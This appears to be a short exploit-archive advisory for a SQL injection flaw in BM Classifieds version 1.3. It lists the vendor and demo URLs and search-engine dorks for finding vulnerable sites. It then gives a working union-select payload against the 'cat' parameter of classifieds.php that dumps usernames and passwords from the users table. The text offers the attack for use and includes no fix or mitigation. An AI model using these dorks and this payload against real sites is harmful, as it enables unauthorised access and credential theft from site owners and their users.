10078.txt

BM Classifieds Ads SQL Injection Vulnerability
==============================================

 ***************************************************************************/
 
  [ Software Information ]
 
  [+] Vendor : http://www.bmscripts.com/
  [+] script   : powered by BM Classifieds
  [+] Demo : http://classifieds.bmscripts.com/
  [+] Version() : 1.3
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"classifieds.php?cat="
               inurl::"showad.php?listingid="
 
  **************************************************************************/
  [ Vulnerable File ]
 
  http://server/classifieds.php?cat=[N.A.S.T ]
 
  [ Exploit ]
 
  http://server/classifieds.php?cat=144+union+select+username,password,3,4+from+users